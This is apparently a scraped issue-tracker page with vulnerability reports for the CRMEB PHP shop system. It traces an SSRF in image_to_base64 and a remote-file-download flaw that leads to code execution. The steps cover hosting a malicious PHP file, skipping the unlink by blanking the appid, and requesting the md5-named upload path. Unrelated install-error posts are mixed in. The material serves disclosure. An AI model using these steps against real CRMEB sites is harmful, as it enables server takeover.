    $code = $putCodeUrl ? image_to_base64(app()->request->domain(true) . '/' . $putCodeUrl) : false;
    $code ?? unlink($_SERVER["DOCUMENT_ROOT"] . '/' . $putCodeUrl);
    }
    return $code;
    });
    $image = CacheService::get($imageUrl, function () use ($imageUrl) {
    $imageTmp = $image = $imageUrl ? image_to_base64($imageUrl) : false;
    if (!$imageTmp) {
    $putImageUrl = put_image($imageUrl);
    $image = $putImageUrl ? image_to_base64(app()->request->domain(true) . '/' . $putImageUrl) : false;
    $image ?? unlink($_SERVER["DOCUMENT_ROOT"] . '/' . $putImageUrl);
    }
    return $image;
    });
    return app('json')->successful(compact('code', 'image'));
    } catch (\Exception $e) {
    return app('json')->fail($e->getMessage());
    }
    }`

2.The function accepts an image parameter from the front end and assigns it to the variable $imageUrl
[$imageUrl, $codeUrl] = $request->postMore([ ['image', ''], ['code', ''], ], true);

3.Enter the image_to_base64 function by tracking the $imageUrl parameter
$codeTmp = $code = $codeUrl ? image_to_base64($codeUrl) : false;

4.$image_to_base64 function source code:
`/**

  • 获取图片转为base64
  • @param string $avatar
  • @return bool|string
    /
    function image_to_base64($avatar = '', $timeout = 9)
    {
    $avatar = str_replace('https', 'http', $avatar);
    try {
    $url = parse_url($avatar);
    $url = $url['host'];
    $header = [
    'User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0',
    'Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding: gzip, deflate, br',
    'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,
    /*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Host:' . $url
    ];
    $dir = pathinfo($url);
    $host = $dir['dirname'];
    $refer = $host . '/';
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_REFERER, $refer);
    curl_setopt($curl, CURLOPT_URL, $avatar);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($curl, CURLOPT_ENCODING, 'gzip');
    curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, $timeout);
    curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
    $data = curl_exec($curl);
    $code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
    curl_close($curl);
    if ($code == 200) {
    return "data:image/jpeg;base64," . base64_encode($data);
    } else {
    return false;
    }
    } catch (\Exception $e) {
    return false;
    }
    }`

5.Continue to track the $imageUrl variable ($avatar in the image_to_base64 function), you can find that the parameter $avatar is directly set to the request path of curl, and no filtering is done
curl_setopt($curl, CURLOPT_URL, $avatar);

6.Find the corresponding route in app/api/route/v1.php, and verify it after setting up the environment
Request a domain name in dnslog:
image-20221025000118012
Then construct the corresponding data packet:
image-20221025000311829
Request data received successfully:
image-20221025000346936

请问没有runtime文件夹

Warning: is_file(): open_basedir restriction in effect. File(/www/wwwroot/c.upp188.top/CRMEB/runtime) is not within the allowed path(s): (/www/wwwroot/c.upp188.top/CRMEB/public/:/tmp/:/proc/) in /www/wwwroot/c.upp188.top/CRMEB/public/install/templates/step2.php on line 111

Warning: is_dir(): open_basedir restriction in effect. File(/www/wwwroot/c.upp188.top/CRMEB/runtime) is not within the allowed path(s): (/www/wwwroot/c.upp188.top/CRMEB/public/:/tmp/:/proc/) in /www/wwwroot/c.upp188.top/CRMEB/public/install/templates/step2.php on line 112

Warning: is_dir(): open_basedir restriction in effect. File(/www/wwwroot/c.upp188.top/CRMEB/runtime) is not within the allowed path(s): (/www/wwwroot/c.upp188.top/CRMEB/public/:/tmp/:/proc/) in /www/wwwroot/c.upp188.top/CRMEB/public/install/index.php on line 457

Warning: is_dir(): open_basedir restriction in effect. File(/www/wwwroot/c.upp188.top/CRMEB/runtime/) is not within the allowed path(s): (/www/wwwroot/c.upp188.top/CRMEB/public/:/tmp/:/proc/) in /www/wwwroot/c.upp188.top/CRMEB/public/install/index.php on line 471

Warning: is_file(): open_basedir restriction in effect. File(/www/wwwroot/c.upp188.top/CRMEB/runtime) is not within the allowed path(s): (/www/wwwroot/c.upp188.top/CRMEB/public/:/tmp/:/proc/) in /www/wwwroot/c.upp188.top/CRMEB/public/install/index.php on line 379

Warning: is_readable(): open_basedir restriction in effect. File(/www/wwwroot/c.upp188.top/CRMEB/runtime) is not within the allowed path(s): (/www/wwwroot/c.upp188.top/CRMEB/public/:/tmp/:/proc/) in /www/wwwroot/c.upp188.top/CRMEB/public/install/templates/step2.php on line 125

Warning: is_file(): open_basedir restriction in effect. File(/www/wwwroot/c.upp188.top/CRMEB/.env) is not within the allowed path(s): (/www/wwwroot/c.upp188.top/CRMEB/public/:/tmp/:/proc/) in /www/wwwroot/c.upp188.top/CRMEB/public/install/templates/step2.php on line 111

Warning: is_dir(): open_basedir restriction in effect. File(/www/wwwroot/c.upp188.top/CRMEB/.env) is not within the allowed path(s): (/www/wwwroot/c.upp188.top/CRMEB/public/:/tmp/:/proc/) in /www/wwwroot/c.upp188.top/CRMEB/public/install/templates/step2.php on line 112

Warning: is_dir(): open_basedir restriction in effect. File(/www/wwwroot/c.upp188.top/CRMEB/.env) is not within the allowed path(s): (/www/wwwroot/c.upp188.top/CRMEB/public/:/tmp/:/proc/) in /www/wwwroot/c.upp188.top/CRMEB/public/install/index.php on line 457

Warning: is_dir(): open_basedir restriction in effect. File(/www/wwwroot/c.upp188.top/CRMEB/.env/) is not within the allowed path(s): (/www/wwwroot/c.upp188.top/CRMEB/public/:/tmp/:/proc/) in /www/wwwroot/c.upp188.top/CRMEB/public/install/index.php on line 471

Warning: is_file(): open_basedir restriction in effect. File(/www/wwwroot/c.upp188.top/CRMEB/.env) is not within the allowed path(s): (/www/wwwroot/c.upp188.top/CRMEB/public/:/tmp/:/proc/) in /www/wwwroot/c.upp188.top/CRMEB/public/install/index.php on line 379

Warning: is_readable(): open_basedir restriction in effect. File(/www/wwwroot/c.upp188.top/CRMEB/.env) is not within the allowed path(s): (/www/wwwroot/c.upp188.top/CRMEB/public/:/tmp/:/proc/) in /www/wwwroot/c.upp188.top/CRMEB/public/install/templates/step2.php on line 125

安装最新版本2019/8/23的,成功安装登陆后台报错

Type error: Too few arguments to function think\Model::data(), 0 passed in /www/wwwroot/129...125/thinkphp/library/think/Model.php on line 620 and at least 1 expected
具体:和域名绑定一起用ip(默认端口80)么有正常显示,用域名登陆就会报上面的错

There is an arbitrary file download vulnerability exists

1.After downloading the source code, go to the add function in the app/adminapi/controller/v1/marketing/live/LiveGoods.php file.
`public function add()
{
[$goods_info] = $this->request->postMore([
['goods_info', []]
], true);
if (!$goods_info) return app('json')->fail('请选择商品');
foreach ($goods_info as $goods) {
if (!$goods['id']) return app('json')->fail('请选择商品');
if (!$goods['store_name']) return app('json')->fail('请输入名称');
if (!$goods['image']) return app('json')->fail('请选择背景图');
if (!$goods['price']) return app('json')->fail('请输入直播价格');
if ($goods['price'] <= 0) return app('json')->fail('直播价格必须大于0');
}
$this->services->add($goods_info);
return app('json')->success('添加成功');

}`

2.The function accepts a goods_info parameter from the front end and assigns it to the variable $goods_info
[$goods_info] = $this->request->postMore([ ['goods_info', []] ], true);

3.Enter the add function of the $services object by tracking the $goods_info parameter
$this->services->add($goods_info);

4.In this class you can see services declared as class LiveGoodsServices
public function __construct(App $app, LiveGoodsServices $services) { parent::__construct($app); $this->services = $services; }

5.In this class, you can see that services is declared as class LiveGoodsS to the file app/services/activity/live/LiveGoodsServices.php, and the source code of the function add is as follows: services public function add(array $goods_info)
{
$product_ids = array_column($goods_info, 'id');
$this->create($product_ids);
$miniUpload = MiniProgramService::materialTemporaryService();
/** @var DownloadImageService $download */
$download = app()->make(DownloadImageService::class);
$dataAll = $data = [];
$time = time();
foreach ($goods_info as $product) {
$data = [
'product_id' => $product['id'],
'name' => Str::substrUTf8($product['store_name'], 12, 'UTF-8', ''),
'cover_img' => $product['image'] ?? '',
'price_type' => 1,
'cost_price' => $product['cost_price'] ?? 0.00,
'price' => $product['price'] ?? 0.00,
'url' => 'pages/goods_details/index?id=' . $product['id'],
'sort' => $product['sort'] ?? 0,
'add_time' => $time
];
try {
$path = root_path() . 'public' . $download->thumb(true)->downloadImage($data['cover_img'])['path'];
$coverImgUrl = $miniUpload->uploadImage($path)->media_id;
@Unlink($path);
} catch (\Throwable $e) {
Log::error('添加直播商品图片错误,原因:' . $e->getMessage());
$coverImgUrl = $data['cover_img'];
}
$res = MiniProgramService::addGoods($coverImgUrl, $data['name'], $data['price_type'], $data['url'], floatval($data['price']));
$data['goods_id'] = $res['goodsId'];
$data['audit_id'] = $res['auditId'];
$data['audit_status'] = 1;
$dataAll[] = $data;
}
if (!$goods = $this->dao->saveAll($dataAll)) {
throw new AdminException('添加商品失败');
}
return true;
}`

6.Continue to track the $goods_info variable, the function assigns the information in the $goods_info array to $data
foreach ($goods_info as $product) { $data = [ 'product_id' => $product['id'], 'name' => Str::substrUTf8($product['store_name'], 12, 'UTF-8', ''), 'cover_img' => $product['image'] ?? '', 'price_type' => 1, 'cost_price' => $product['cost_price'] ?? 0.00, 'price' => $product['price'] ?? 0.00, 'url' => 'pages/goods_details/index?id=' . $product['id'], 'sort' => $product['sort'] ?? 0, 'add_time' => $time ];

7.Continue reading down, pass the cover_img value of the $data array to the downloadImage function, and follow up
$path = root_path() . 'public' . $download->thumb(true)->downloadImage($data['cover_img'])['path'];

8.Go to the file crmeb/services/DownloadImageService.php, the source code of the function downloadImage is as follows:
public function downloadImage(string $url, $name = '') { if (!$name) { //TODO 获取要下载的文件名称 $downloadImageInfo = $this->getImageExtname($url); $name = $downloadImageInfo['file_name']; if (!$name) throw new ValidateException('上传图片不存在'); } if (strstr($url, 'http://') === false && strstr($url, 'https://') === false) { $url = 'http:' . $url; } $url = str_replace('https://', 'http://', $url); if ($this->path == 'attach') { $date_dir = date('Y') . DIRECTORY_SEPARATOR . date('m') . DIRECTORY_SEPARATOR . date('d'); $to_path = $this->path . '/' . $date_dir; } else { $to_path = $this->path; } $upload = UploadService::init(1); if (!file_exists($upload->uploadDir($to_path) . '/' . $name)) { ob_start(); readfile($url); $content = ob_get_contents(); ob_end_clean(); $size = strlen(trim($content)); if (!$content || $size <= 2) throw new ValidateException('图片流获取失败'); if ($upload->to($to_path)->down($content, $name) === false) { throw new ValidateException('图片下载失败'); } $imageInfo = $upload->getDownloadInfo(); $path = $imageInfo['dir']; if ($this->thumb) { Image::open(root_path() . 'public' . $path)->thumb($this->thumbWidth, $this->thumHeight)->save(root_path() . 'public' . $path); $this->thumb = false; } } else { $path = '/uploads/' . $to_path . '/' . $name; $imageInfo['name'] = $name; } $date['path'] = $path; $date['name'] = $imageInfo['name']; $date['size'] = $imageInfo['size'] ?? ''; $date['mime'] = $imageInfo['type'] ?? ''; $date['image_type'] = 1; $date['is_exists'] = false; return $date; }

9.The controllable variable $data['cover_img'] is passed as a parameter to $url, continue to track $url, the function obtains the file content from the address specified by $rul, and saves it in the variable $content
ob_start(); readfile($url); $content = ob_get_contents(); ob_end_clean();

10.Track $content, pass $content to function $down
$upload->to($to_path)->down($content, $name)

11.Go to the file crmeb/services/upload/storage/Local.php, the source code of the function down is as follows:
public function down(string $fileContent, string $key = null) { if (!$key) { $key = $this->saveFileName(); } $dir = $this->uploadDir($this->path); if (!$this->validDir($dir)) { return $this->setError('Failed to generate upload directory, please check the permission!'); } $fileName = $dir . '/' . $key; file_put_contents($fileName, $fileContent); $this->downFileInfo->downloadInfo = new File($fileName); $this->downFileInfo->downloadRealName = $key; $this->downFileInfo->downloadFileName = $key; $this->downFileInfo->downloadFilePath = $this->defaultPath . '/' . $this->path . '/' . $key; return $this->downFileInfo; }

12.Continue to track $fileContent, the function writes the contents of $fileContent to the file $fileName
file_put_contents($fileName, $fileContent);

13.Now let's take a look at the value of $fileNmae, go back to the function downloadImage of the file crmeb/services/DownloadImageService.php, $url is a value we can control, passed to the getImageExtname function of this class
$downloadImageInfo = $this->getImageExtname($url);

14.The source code of getImageExtname is as follows, which probably means that the $url link is encrypted by md5 and then copied to file_name as the new name of the file and then returned to the downloadImage function:
public function getImageExtname($url = '', $ex = 'jpg') { $_empty = ['file_name' => '', 'ext_name' => $ex]; if (!$url) return $_empty; if (strpos($url, '?')) { $_tarr = explode('?', $url); $url = trim($_tarr[0]); } $arr = explode('.', $url); if (!is_array($arr) || count($arr) <= 1) return $_empty; $ext_name = trim($arr[count($arr) - 1]); $ext_name = !$ext_name ? $ex : $ext_name; return ['file_name' => md5($url) . '.' . $ext_name, 'ext_name' => $ext_name]; }

15.The downloadImage function assigns the returned value of file_name to the variable $name
$name = $downloadImageInfo['file_name'];

16.Go back to the down function, splicing the incoming $name as the parameter $key value to the variable $dir as the location of the file, so that we can control the content of the function file_put_contents and know the file s position
$fileName = $dir . '/' . $key;

17.But there is a problem, go back to the function add of the file app/services/activity/live/LiveGoodsServices.php and find that the last file we stored will be deleted using @Unlink($path), here you can pass appid without WeChat configuration throws an exception when executing $miniUpload->uploadImage($path)->media_id; to skip the execution of @Unlink($path) and execute the code in the catch
try { $path = root_path() . 'public' . $download->thumb(true)->downloadImage($data['cover_img'])['path']; $coverImgUrl = $miniUpload->uploadImage($path)->media_id; @Unlink($path); } catch (\Throwable $e) { Log::error('添加直播商品图片错误,原因:' . $e->getMessage()); $coverImgUrl = $data['cover_img']; }
18.After setting up the environment locally, log in to the background,Put malicious code on the server and start the file download service
1666705698348

19.Enter the background, if the following page has set appid, set it to empty
image-20221025034814652

20.Enter the live broadcast product management interface in the background
image-20221025025001348

21.Click to add a product, select the product and submit the packet capture, change the image parameter to the malicious file address on our server
1666705814499

22.Then md5 encode the server file address
1666706426300

23.The access path is as follows:http://domain.com/uploads/attach/{year}/{month}/{day}/{md5 encoding of remote file url}.php
Code executed successfully:
image-20221025031209417

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.